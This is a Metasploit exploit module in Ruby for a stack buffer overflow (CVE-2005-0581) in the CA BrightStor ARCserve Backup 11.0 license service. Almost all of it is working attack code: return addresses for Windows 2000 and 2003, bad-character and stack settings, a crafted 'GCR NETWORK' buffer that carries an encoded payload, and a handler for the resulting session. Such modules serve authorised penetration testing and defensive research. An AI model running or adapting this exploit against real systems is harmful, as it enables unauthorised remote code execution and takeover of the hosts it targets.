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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'CA BrightStor ARCserve License Service GCR NETWORK Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup 11.0.
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        By sending a specially crafted request to the lic98rmtd.exe service, an attacker
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        could overflow the buffer and execute arbitrary code.
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      },
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      'Author'         => [ 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2005-0581' ],
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          [ 'OSVDB', '14389' ],
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          [ 'BID', '12705' ],
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 500,
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          'BadChars' => "\x00\x09\x0a\x0d\x20\x0c\x25\x26\x27\x0b\x2b\x2f\x3a\x3c\x3e\x3f\x40",
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          'StackAdjustment' => -3500,
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          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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        },
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      'Platform' => 'win',
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      'Targets'  =>
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          [
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            [ 'Windows 2003 SP0 English',     { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll
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            [ 'Windows 2000 SP4 English',     { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll
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          ],
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      'DisclosureDate' => '2005-03-02',
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      'DefaultTarget' => 0))
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    register_options([ Opt::RPORT(10202) ])
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  end
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  def exploit
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    connect
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    buff =  rand_text_alpha_upper(256) + [target.ret].pack('V')
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    buff << make_nops(12) + payload.encoded
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    # NETWORK<x.x.x.x buff x.x.x.x.x> ... worked for me.
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    sploit  = "A0 GCR NETWORK<#{buff}>RMTV<1.00><EOM>"
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    print_status("Trying target #{target.name}...")
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    sock.put(sploit)
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    handler
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    disconnect
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  end
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end
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